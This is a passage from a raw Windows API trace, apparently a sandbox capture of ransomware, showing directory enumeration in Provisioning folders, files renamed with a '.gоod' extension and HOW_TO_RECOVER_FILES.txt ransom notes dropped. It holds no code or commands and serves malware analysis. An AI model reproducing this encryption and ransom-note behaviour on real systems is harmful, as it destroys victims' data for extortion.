lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x453c692d, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x453c692d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.769] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5410e9a1, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5410e9a1, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x44421352, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1154, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml.gоod", cAlternateFileName="CUSTOM~1.GOD")) returned 1 [0142.769] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x453c692d, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x453c692d, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x453c692d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0142.769] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x540c24cc, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x540c24cc, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x44683937, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x110, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml.gоod", cAlternateFileName="MASTER~1.GOD")) returned 1 [0142.769] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x453a09cb, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x453a09cb, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0142.769] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0142.769] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0142.769] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0142.769] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0142.770] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0142.770] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov", nBufferLength=0x105, lpBuffer=0x10f9810, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov", lpFilePart=0x0) returned 0x55 [0142.770] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\*", lpFindFileData=0x10f9a90 | out: lpFindFileData=0x10f9a90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x453a09cb, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x453c692d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0142.770] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x453a09cb, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x453c692d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.771] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x453c692d, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x453c692d, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x453c692d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0142.771] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x217b4a1a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x217b4a1a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0142.771] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5409c262, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5409c262, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x453a09cb, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x260, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml.gоod", cAlternateFileName="RUNTIM~1.GOD")) returned 1 [0142.771] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0142.771] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0142.771] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0142.771] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0142.771] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0142.771] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov", nBufferLength=0x105, lpBuffer=0x10f9810, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov", lpFilePart=0x0) returned 0x55 [0142.771] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\*", lpFindFileData=0x10f9a90 | out: lpFindFileData=0x10f9a90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x453c692d, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x453c692d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0142.771] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x453c692d, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x453c692d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.771] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x453c692d, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x453c692d, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x453c692d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0142.771] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x217b4a1a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x217b4a1a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0142.771] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5409c262, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5409c262, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x453a09cb, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x260, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml.gоod", cAlternateFileName="RUNTIM~1.GOD")) returned 1 [0142.771] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5409c262, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5409c262, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x453a09cb, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x260, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml.gоod", cAlternateFileName="RUNTIM~1.GOD")) returned 0 [0142.771] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0142.771] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0142.771] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0142.772] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9340) returned 1 [0142.772] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime", nBufferLength=0x105, lpBuffer=0x10f8de0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime", lpFilePart=0x0) returned 0x5d [0142.772] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\*", lpFindFileData=0x10f9060 | out: lpFindFileData=0x10f9060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x217b4a1a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x453c692d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0142.773] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10f9020 | out: lpFindFileData=0x10f9020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x217b4a1a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x453c692d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.773] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10f9020 | out: lpFindFileData=0x10f9020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54075ff8, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x54075ff8, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x5409c262, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Policy.provxml", cAlternateFileName="0__POW~1.PRO")) returned 1 [0142.773] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10f9020 | out: lpFindFileData=0x10f9020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5409c262, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5409c262, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x5409c262, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x905, dwReserved0=0x0, dwReserved1=0x0, cFileName="1__Power_Policy.provxml", cAlternateFileName="1__POW~1.PRO")) returned 1 [0144.130] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9280) returned 1 [0144.130] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9240) returned 1 [0144.130] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9340) returned 1 [0144.131] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9280) returned 1 [0144.131] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9240) returned 1 [0144.131] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10f8d90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x76 [0144.131] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f92b0) returned 1 [0144.133] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9220) returned 1 [0144.134] CloseHandle (hObject=0x650) returned 1 [0144.134] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9ce0) returned 1 [0144.135] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c50) returned 1 [0144.136] CloseHandle (hObject=0x650) returned 1 [0144.136] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa710) returned 1 [0144.137] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa680) returned 1 [0144.137] CloseHandle (hObject=0x650) returned 1 [0144.137] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0144.138] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0144.138] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0144.138] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0144.138] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0144.138] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0144.138] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0144.138] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0144.139] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0144.139] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0144.139] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0144.139] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0144.189] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9340) returned 1 [0144.189] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9280) returned 1 [0144.189] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9240) returned 1 [0144.189] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9340) returned 1 [0144.189] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9280) returned 1 [0144.189] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9240) returned 1 [0144.190] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10f8d90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x76 [0144.190] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f92b0) returned 1 [0144.191] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9220) returned 1 [0144.191] CloseHandle (hObject=0x650) returned 1 [0144.191] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9ce0) returned 1 [0144.192] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c50) returned 1 [0144.193] CloseHandle (hObject=0x650) returned 1 [0144.193] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa710) returned 1 [0144.194] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa680) returned 1 [0144.195] CloseHandle (hObject=0x650) returned 1 [0144.195] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0144.195] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0144.195] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0144.195] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0144.195] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0144.195] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0144.196] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0144.196] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0144.196] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0144.196] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0144.196] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0144.196] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0144.196] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9340) returned 1 [0144.196] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9280) returned 1 [0144.196] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9240) returned 1 [0144.197] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9340) returned 1 [0144.197] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9280) returned 1 [0144.197] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9240) returned 1 [0144.197] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10f8d90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x76 [0144.197] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f92b0) returned 1 [0144.198] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9220) returned 1 [0144.198] CloseHandle (hObject=0x650) returned 1 [0144.199] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9ce0) returned 1 [0144.199] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c50) returned 1 [0144.200] CloseHandle (hObject=0x650) returned 1 [0144.200] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa710) returned 1 [0144.201] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa680) returned 1 [0144.202] CloseHandle (hObject=0x650) returned 1 [0144.202] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0144.202] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0144.202] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0144.202] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0144.202] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0144.202] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0144.202] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0144.203] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0144.203] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0144.203] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0144.203] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0144.203] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0144.203] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9340) returned 1 [0144.203] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9280) returned 1 [0144.203] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9240) returned 1 [0144.203] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9340) returned 1 [0144.203] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9280) returned 1 [0144.203] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9240) returned 1 [0144.204] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f92b0) returned 1 [0144.204] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9220) returned 1 [0144.205] CloseHandle (hObject=0x650) returned 1 [0144.205] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9ce0) returned 1 [0144.206] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c50) returned 1 [0144.207] CloseHandle (hObject=0x650) returned 1 [0144.207] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa710) returned 1 [0144.207] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa680) returned 1 [0144.208] CloseHandle (hObject=0x650) returned 1 [0144.208] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0144.208] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0144.208] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0144.209] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0144.209] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0144.209] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0144.209] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0144.209] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0144.209] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0144.209] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0144.209] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0144.209] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0144.210] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9340) returned 1 [0144.210] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9280) returned 1 [0144.210] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9240) returned 1 [0144.210] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9340) returned 1 [0144.210] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9280) returned 1 [0144.210] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9240) returned 1 [0144.210] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10f8d90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x76 [0144.210] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f92b0) returned 1 [0144.211] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9220) returned 1 [0144.212] CloseHandle (hObject=0x650) returned 1 [0144.212] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9ce0) returned 1 [0144.213] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c50) returned 1 [0144.213] CloseHandle (hObject=0x650) returned 1 [0144.213] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa710) returned 1 [0144.214] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa680) returned 1 